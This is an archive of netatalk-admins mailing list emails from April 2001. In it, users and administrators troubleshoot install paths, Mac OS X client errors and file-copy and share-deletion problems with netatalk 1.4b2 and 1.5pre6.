Message-ID: <20010419145056-r01010600-66ea8ce8@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 19/4/01, jasonq@mac.com (Jason Quigley) wrote:

> I just configured with --with-config-dir=/usr/local/etc/atalk and 
> everything was fine.

Jason

Thanks a ton for your useful info. I've done what you have suggested but
it still doesn't work.

I wonder if this is because I've got netatalk installed already. The
make programme doesn't seem to be deleting this.

Thanks again!
Rory

---------------------

.configure setup:

./configure --prefix=/usr --with-config-dir=/etc \
               --with-uams-path=/etc/uams

My Makefile includes the following as a result:

---------------------

    SHELL = /bin/sh

    srcdir = .
    top_srcdir = .
    prefix = /usr
    exec_prefix = ${prefix}

    bindir = ${exec_prefix}/bin
    sbindir = ${exec_prefix}/sbin
    libexecdir = ${exec_prefix}/libexec
    datadir = ${prefix}/share
    sysconfdir = ${prefix}/etc
    sharedstatedir = ${prefix}/com
    localstatedir = ${prefix}/var
    libdir = ${exec_prefix}/lib
    infodir = ${prefix}/info
    mandir = ${prefix}/man
    includedir = ${prefix}/include
    oldincludedir = /usr/include

    DESTDIR =

    pkgdatadir = $(datadir)/netatalk
    pkglibdir = $(libdir)/netatalk
    pkgincludedir = $(includedir)/netatalk

---------------------

    make check
    
reports stuff like

    make[1]: Entering directory         
`/home/rory/netatalk_source/netatalk-1.5pre6/config'
        sed -e s@:UAMS_PATH:@/etc@ \
            -e s@:NLS_PATH:@/etc/nls@ \
            -e s@:ETCDIR:@/etc@ \
 
 and
 
     sed -e s@:SBINDIR:@/usr/sbin@ \
        -e s@:BINDIR:@/usr/bin@ \
        -e s@:ETCDIR:@/etc@ \
        -e s@:LIBDIR:@/usr/lib@ \
        <AppleVolumes.default.5.tmpl >AppleVolumes.default.5
    sed -e s@:SBINDIR:@/usr/sbin@ \
        -e s@:BINDIR:@/usr/bin@ \
        -e s@:ETCDIR:@/etc@ \
        -e s@:LIBDIR:@/usr/lib@ \
        <afpd.conf.5.tmpl >afpd.conf.5
    sed -e s@:SBINDIR:@/usr/sbin@ \
        -e s@:BINDIR:@/usr/bin@ \
        -e s@:ETCDIR:@/etc@ \
        -e s@:LIBDIR:@/usr/lib@ \
        <atalkd.conf.5.tmpl >atalkd.conf.5
    sed -e s@:SBINDIR:@/usr/sbin@ \
        -e s@:BINDIR:@/usr/bin@ \
        -e s@:ETCDIR:@/etc@ \
        -e s@:LIBDIR:@/usr/lib@ \
        <netatalk.conf.5.tmpl >netatalk.conf.5
    sed -e s@:SBINDIR:@/usr/sbin@ \
        -e s@:BINDIR:@/usr/bin@ \
        -e s@:ETCDIR:@/etc@ \
        -e s@:LIBDIR:@/usr/lib@ \
        <papd.conf.5.tmpl >papd.conf.5

From netatalk.administrators-errors@umich.edu  Thu Apr 19 10:03:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA16657
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 10:03:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12167
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 10:03:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12152
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 10:03:29 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA11923
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 10:03:27 -0400 (EDT)
Received: (qmail 10158 invoked by alias); 19 Apr 2001 14:03:30 -0000
Received: (qmail 10125 invoked by uid 0); 19 Apr 2001 14:03:27 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 19 Apr 2001 14:03:27 -0000
Subject: Re: Mac OS X client and netatalk woes
From: Matthew Keller <kellermg@potsdam.edu>
To: Piet Seiden <piet@seiden.dk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <l03130303b70499e8f13c@[130.226.186.240]>
References: <l03130303b70499e8f13c@[130.226.186.240]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 19 Apr 2001 10:03:19 -0400
Message-Id: <987688999.824.14.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    The 1.4B2 tree has not been developed since OSX was anywhere near
    released. I recommend trying 1.5pre6 and reporting problems with
    that version.

On 19 Apr 2001 15:37:02 +0200, Piet Seiden wrote:
> I have som problems getting hold of files on my share when accessing it
> from OS X. I run netatalk-1.4b2+asun2.1.3 on FreeBSD 4.2 and when I try to
> copy files from my share I get an error (-45) message telling me that the
> requested files could not be found (not the exact wording).
> 
> I can get at files on a Mac OS 9.1 share running on another mac, so I guess
> it has something to do with netatalk. I've only tried TCP/IP, not native
> AppleTalk. Upgrading netatalk doesn't seem to be an option as I can't
> locate a newer version in the ports tree.
> 
> Anybody else with similar experiences?
> 
> Piet
> 
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 19 10:23:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17380
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 10:23:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03434
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 10:23:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03387
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 10:23:41 -0400 (EDT)
Received: from lizzard.sbs.de (lizzard.sbs.de [194.138.37.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03262
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 10:23:40 -0400 (EDT)
X-Envelope-Sender-Is: Carsten.Melberg@fth2.siemens.de (at relayer lizzard.sbs.de)
Received: from mail.fth.sbs.de (mail.fth.sbs.de [192.129.41.35])
	by lizzard.sbs.de (8.11.0/8.11.0) with ESMTP id f3JENaf19691
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 16:23:36 +0200 (MET DST)
Received: from fthw9doa.fth2.siemens.de (fthw9doa.os.fth.sbs.de [157.163.133.28])
	by mail.fth.sbs.de (8.11.0/8.11.0) with ESMTP id f3JENZw10867
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 16:23:35 +0200 (MET DST)
Received: by FTHW9DOA with Internet Mail Service (5.5.2653.19)
	id <JDR3RRXT>; Thu, 19 Apr 2001 16:23:36 +0200
Message-ID: <22A6027EB0B5134587370CCC1D09F53730A70F@fthw961a.os.fth.sbs.de>
From: Melberg Carsten <Carsten.Melberg@fth2.siemens.de>
To: netatalk-admins@umich.edu
Subject: AW: Install path problem on Debian
Date: Thu, 19 Apr 2001 16:23:27 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

I run netatalk-1.4b2+asun2.1.3 on Linux 2.2.16 and I have several problems
regarding permissions, when copying files form a Mac OS 8.x to a server
volume. I have three server volumes that could be mounted from the Mac and
it is possible to copy files from the Mac to the volumes but it is
impossible to copy file between the volumes - on the Mac side.
Althoug sometimes I can copy a file to the server volume directly but not if
it is within a directory that is copied to the volume. The Mac always
reports Error -50 which is not much meaningful. On the linux box I cannot
see any errors. File permissions and such things are correct.

Perhaps someone of you can help.

Thanks in advance!

Best regards / Gruesse
Carsten Melberg

From netatalk.administrators-errors@umich.edu  Thu Apr 19 10:35:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17812
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 10:35:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24333
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 10:35:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24305
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 10:35:15 -0400 (EDT)
Received: from gecko.sbs.de (gecko.sbs.de [194.138.37.40])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA24273
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 10:35:13 -0400 (EDT)
X-Envelope-Sender-Is: Carsten.Melberg@fth2.siemens.de (at relayer gecko.sbs.de)
Received: from mail.fth.sbs.de (mail.fth.sbs.de [192.129.41.35])
	by gecko.sbs.de (8.11.0/8.11.0) with ESMTP id f3JEZKw10233
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 16:35:20 +0200 (MET DST)
Received: from fthw9doa.fth2.siemens.de (fthw9doa.os.fth.sbs.de [157.163.133.28])
	by mail.fth.sbs.de (8.11.0/8.11.0) with ESMTP id f3JEZIw15162
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 16:35:19 +0200 (MET DST)
Received: by FTHW9DOA with Internet Mail Service (5.5.2653.19)
	id <JDR3RRZ3>; Thu, 19 Apr 2001 16:35:19 +0200
Message-ID: <22A6027EB0B5134587370CCC1D09F53730A710@fthw961a.os.fth.sbs.de>
From: Melberg Carsten <Carsten.Melberg@fth2.siemens.de>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: access problems
Date: Thu, 19 Apr 2001 16:35:10 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

I run netatalk-1.4b2+asun2.1.3 on Linux 2.2.16 and I have several problems
regarding server volume access, when copying files form a Mac OS 8.x to a
server volume. I have three server volumes that could be mounted from the
Mac and it is possible to copy files from the Mac to the volumes but it is
impossible to copy file between the volumes - on the Mac side.
Althoug sometimes I can copy a file to the server volume directly but not if
it is within a directory that is copied to the volume. The Mac always
reports Error -50 which is not much meaningful. On the linux box I cannot
see any errors. File permissions and such things are correct.

Perhaps someone of you can help.

Thanks in advance!

Best regards / Gruesse
Carsten Melberg

From netatalk.administrators-errors@umich.edu  Thu Apr 19 10:38:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17899
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 10:38:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28213
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 10:38:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28193
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 10:38:05 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA28149
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 10:38:04 -0400 (EDT)
Received: (qmail 23063 invoked by alias); 19 Apr 2001 14:38:17 -0000
Received: (qmail 23014 invoked by uid 0); 19 Apr 2001 14:38:12 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 19 Apr 2001 14:38:12 -0000
Subject: Re: Mac OS X client and netatalk woes
From: Matthew Keller <kellermg@potsdam.edu>
To: Piet Seiden <piet@seiden.dk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <987688999.824.14.camel@comp10574.potsdam.edu>
References: <l03130303b70499e8f13c@[130.226.186.240]> 
	<987688999.824.14.camel@comp10574.potsdam.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 19 Apr 2001 10:38:04 -0400
Message-Id: <987691085.823.17.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Oh yeah, all >1.4 versions are stored on the SourceForge Development
    site. http://netatalk.sourceforge.net/


On 19 Apr 2001 10:03:19 -0400, Matthew Keller wrote:
> 
>     The 1.4B2 tree has not been developed since OSX was anywhere near
>     released. I recommend trying 1.5pre6 and reporting problems with
>     that version.
> 
> On 19 Apr 2001 15:37:02 +0200, Piet Seiden wrote:
> > I have som problems getting hold of files on my share when accessing it
> > from OS X. I run netatalk-1.4b2+asun2.1.3 on FreeBSD 4.2 and when I try to
> > copy files from my share I get an error (-45) message telling me that the
> > requested files could not be found (not the exact wording).
> > 
> > I can get at files on a Mac OS 9.1 share running on another mac, so I guess
> > it has something to do with netatalk. I've only tried TCP/IP, not native
> > AppleTalk. Upgrading netatalk doesn't seem to be an option as I can't
> > locate a newer version in the ports tree.
> > 
> > Anybody else with similar experiences?
> > 
> > Piet
> > 
> > 
> > 
> > 
> 
> -- 
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
> 
> http://mattwork.potsdam.edu/
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 19 10:54:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA18715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 10:54:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20630
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 10:54:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20618
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 10:54:25 -0400 (EDT)
Received: from comm.online-skating.de ([194.25.83.133])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA20457
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 10:54:22 -0400 (EDT)
Received: (qmail 11683 invoked from network); 19 Apr 2001 14:09:17 -0000
Received: from orange.online-skating.de (HELO chris) (194.25.83.130)
  by comm.online-skating.de with SMTP; 19 Apr 2001 14:09:17 -0000
Message-ID: <014101c0c8e0$aae15ee0$0c11a8c0@NETWORK>
From: "Alexander Puff" <ap@online-skating.de>
To: <netatalk-admins@umich.edu>
References: <22A6027EB0B5134587370CCC1D09F53730A710@fthw961a.os.fth.sbs.de>
Subject: Apple throws whole share into trash bin when signing noff
Date: Thu, 19 Apr 2001 16:54:02 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi,

I run netatalk-1.4b2+asun2.1.3-130  on a Linux 2.2.16 server 
within a heterogenous network of Macs and PCs.

If a Mac user throws the connection icon of a mounted apple share 
into the desktop trash to close the connection to the server, the
client moves the whole content of the share into the local trash bin 
of the Mac computer.

If the user empties the trash - which occured twice up to now - ,
the whole content of the share on the server is deleted 8(

This event happens on some of our Macs, but on different Mac OSs -
so I would say, the netatalk daemon has a problem.

Perhaps someone of you can help.
 
 Thanks very much in advance!

Best regards 
Alexander.




From netatalk.administrators-errors@umich.edu  Thu Apr 19 11:14:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19614
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 11:14:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22445
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 11:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22431
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 11:14:51 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA22328
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 11:14:49 -0400 (EDT)
Received: (qmail 5686 invoked by alias); 19 Apr 2001 15:14:55 -0000
Received: (qmail 5671 invoked by uid 0); 19 Apr 2001 15:14:54 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 19 Apr 2001 15:14:54 -0000
Subject: Re: Apple throws whole share into trash bin when signing noff
From: Matthew Keller <kellermg@potsdam.edu>
To: Alexander Puff <ap@online-skating.de>
Cc: netatalk-admins@umich.edu
In-Reply-To: <014101c0c8e0$aae15ee0$0c11a8c0@NETWORK>
References: <22A6027EB0B5134587370CCC1D09F53730A710@fthw961a.os.fth.sbs.de>
	 <014101c0c8e0$aae15ee0$0c11a8c0@NETWORK>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 19 Apr 2001 11:14:45 -0400
Message-Id: <987693285.825.21.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    After spending many many hours hammering 1.5pre6, I will
    unofficially recommend its use for anyone running 1.4B2. 

    As with all software, I recommend installing it on test servers, and
    serve client who understand that they are being used to test
    software. I don't think you'll be disappointed. At the very least, I
    can unofficially say that I believe 1.5pre6 to be leaps and bounds
    more stable than 1.4B2 when properly
    installed/configured/compiled/etc. It is, at worst, no less stable.

On 19 Apr 2001 16:54:02 +0200, Alexander Puff wrote:
> Hi,
> 
> I run netatalk-1.4b2+asun2.1.3-130  on a Linux 2.2.16 server 
> within a heterogenous network of Macs and PCs.
> 
> If a Mac user throws the connection icon of a mounted apple share 
> into the desktop trash to close the connection to the server, the
> client moves the whole content of the share into the local trash bin 
> of the Mac computer.
> 
> If the user empties the trash - which occured twice up to now - ,
> the whole content of the share on the server is deleted 8(
> 
> This event happens on some of our Macs, but on different Mac OSs -
> so I would say, the netatalk daemon has a problem.
> 
> Perhaps someone of you can help.
>  
>  Thanks very much in advance!
> 
> Best regards 
> Alexander.
> 
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 19 12:20:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA21584
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 12:20:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16624
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 12:20:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16609
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 12:20:20 -0400 (EDT)
Received: from helios.soho ([63.160.140.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA16576
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 12:20:19 -0400 (EDT)
Received: from behemoth.lunar.com (A060-0599.SNFC.splitrock.net [63.253.227.91])
	by helios.soho (8.11.3/8.8.7) with ESMTP id f3JGJVH21616;
	Thu, 19 Apr 2001 12:19:32 -0400
Received: from localhost (localhost [[UNIX: localhost]])
	by behemoth.lunar.com (8.11.0/8.11.0) id f3JGJXD08654;
	Thu, 19 Apr 2001 09:19:33 -0700
Content-Type: text/plain;
  charset="us-ascii"
From: Mike Johnson <ffp_randjohnson@yahoo.com>
To: Rory Campbell-Lange <rory@campbell-lange.net>,
        Jason Quigley <jasonq@mac.com>
Subject: Re: Install path problem on Debian
Date: Thu, 19 Apr 2001 09:19:33 -0700
X-Mailer: KMail [version 1.2]
Cc: netatalk-admins@umich.edu
References: <20010419145056-r01010600-66ea8ce8@194.159.148.247>
In-Reply-To: <20010419145056-r01010600-66ea8ce8@194.159.148.247>
MIME-Version: 1.0
Message-Id: <01041909193301.00862@behemoth.lunar.com>
Content-Transfer-Encoding: 8bit

It sounds like you need to run the configure again. Just cd into the 
directory and run ./configure, then run "make clean" and "make uninstall".

I think you still have stuff on your system that needs to be removed. Then 
you can run configure and make again (your configure line looks good, but you 
might want --with-shadow if you're using shadow passwords).

-
mike johnson

On Thursday 19 April 2001 06:50, Rory Campbell-Lange wrote:
> On 19/4/01, jasonq@mac.com (Jason Quigley) wrote:
> > I just configured with --with-config-dir=/usr/local/etc/atalk and
> > everything was fine.
>
> Jason
>
> Thanks a ton for your useful info. I've done what you have suggested but
> it still doesn't work.
>
> I wonder if this is because I've got netatalk installed already. The
> make programme doesn't seem to be deleting this.
>
> Thanks again!
> Rory
>
> ---------------------
>
> .configure setup:
>
> ./configure --prefix=/usr --with-config-dir=/etc \
>                --with-uams-path=/etc/uams
>
> My Makefile includes the following as a result:
>
> ---------------------
>
>     SHELL = /bin/sh
>
>     srcdir = .
>     top_srcdir = .
>     prefix = /usr
>     exec_prefix = ${prefix}
>
>     bindir = ${exec_prefix}/bin
>     sbindir = ${exec_prefix}/sbin
>     libexecdir = ${exec_prefix}/libexec
>     datadir = ${prefix}/share
>     sysconfdir = ${prefix}/etc
>     sharedstatedir = ${prefix}/com
>     localstatedir = ${prefix}/var
>     libdir = ${exec_prefix}/lib
>     infodir = ${prefix}/info
>     mandir = ${prefix}/man
>     includedir = ${prefix}/include
>     oldincludedir = /usr/include
>
>     DESTDIR =
>
>     pkgdatadir = $(datadir)/netatalk
>     pkglibdir = $(libdir)/netatalk
>     pkgincludedir = $(includedir)/netatalk
>
> ---------------------
>
>     make check
>
> reports stuff like
>
>     make[1]: Entering directory
> `/home/rory/netatalk_source/netatalk-1.5pre6/config'
>         sed -e s@:UAMS_PATH:@/etc@ \
>             -e s@:NLS_PATH:@/etc/nls@ \
>             -e s@:ETCDIR:@/etc@ \
>
>  and
>
>      sed -e s@:SBINDIR:@/usr/sbin@ \
>         -e s@:BINDIR:@/usr/bin@ \
>         -e s@:ETCDIR:@/etc@ \
>         -e s@:LIBDIR:@/usr/lib@ \
>         <AppleVolumes.default.5.tmpl >AppleVolumes.default.5
>     sed -e s@:SBINDIR:@/usr/sbin@ \
>         -e s@:BINDIR:@/usr/bin@ \
>         -e s@:ETCDIR:@/etc@ \
>         -e s@:LIBDIR:@/usr/lib@ \
>         <afpd.conf.5.tmpl >afpd.conf.5
>     sed -e s@:SBINDIR:@/usr/sbin@ \
>         -e s@:BINDIR:@/usr/bin@ \
>         -e s@:ETCDIR:@/etc@ \
>         -e s@:LIBDIR:@/usr/lib@ \
>         <atalkd.conf.5.tmpl >atalkd.conf.5
>     sed -e s@:SBINDIR:@/usr/sbin@ \
>         -e s@:BINDIR:@/usr/bin@ \
>         -e s@:ETCDIR:@/etc@ \
>         -e s@:LIBDIR:@/usr/lib@ \
>         <netatalk.conf.5.tmpl >netatalk.conf.5
>     sed -e s@:SBINDIR:@/usr/sbin@ \
>         -e s@:BINDIR:@/usr/bin@ \
>         -e s@:ETCDIR:@/etc@ \
>         -e s@:LIBDIR:@/usr/lib@ \
>         <papd.conf.5.tmpl >papd.conf.5

From netatalk.administrators-errors@umich.edu  Thu Apr 19 14:24:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25110
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 14:24:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19289
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 14:24:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19272
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 14:24:13 -0400 (EDT)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA19206
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 14:24:11 -0400 (EDT)
Received: (qmail 2638 invoked by uid 500); 19 Apr 2001 18:24:17 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15071.11601.672591.51829@h0050da615e79.ne.mediaone.net>
Date: Thu, 19 Apr 2001 14:24:17 -0400
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Mike Johnson <ffp_randjohnson@yahoo.com>,
        Rory Campbell-Lange <rory@campbell-lange.net>,
        Jason Quigley <jasonq@mac.com>
cc: netatalk-admins@umich.edu
Subject: Re: Install path problem on Debian
In-Reply-To: <01041909193301.00862@behemoth.lunar.com>
References: <20010419145056-r01010600-66ea8ce8@194.159.148.247>
	<01041909193301.00862@behemoth.lunar.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Mike Johnson <ffp_randjohnson@yahoo.com>
   Date: Thu, 19 Apr 2001 09:19:33 -0700

   It sounds like you need to run the configure again. Just cd into the 
   directory and run ./configure, then run "make clean" and "make uninstall".

I usually do "make distclean" before redoing ./configure -- "distclean"
is supposed to flush everything created by ./configure, in addition to
what "clean" does, so it should be as if you had reloaded the
distribution tarball.  That way, you can be sure that the new
./configure isn't using any of the old state.

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Fri Apr 20 07:09:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA22935
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Apr 2001 07:09:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA17087
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Apr 2001 07:08:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA17082
	for netatalk.administrators-members@umich.edu; Fri, 20 Apr 2001 07:08:51 -0400 (EDT)
Received: from yellow.csi.cam.ac.uk (yellow.csi.cam.ac.uk [131.111.8.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA17070
	for <netatalk-admins@umich.edu>; Fri, 20 Apr 2001 07:08:50 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by yellow.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 14qYmY-0002Oy-00
	for netatalk-admins@umich.edu; Fri, 20 Apr 2001 12:08:58 +0100
Date: Fri, 20 Apr 2001 12:08:58 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@yellow.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: Inappropriate ioctl ?
Message-ID: <Pine.SOL.4.33.0104200941320.9413-100000@red.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear netatalk-admins,

Could anyone tell me what "Inappropriate ioctl for device" and
".AppleDouble/.Parent: Operation not permitted" means on user login?
Please point me to some documentation as I am a little worried.

All the best.

Ian.


System Redhat 7.0 2.2.16-22 netatalk-1.5pre6-1rh7.i386.rpm
syslod on user login...

dhx login: jjc33
Apr 20 09:36:31 ark afpd[7908]: uams_dhx_pam.c :PAM: PAM Success --
Function not implemented
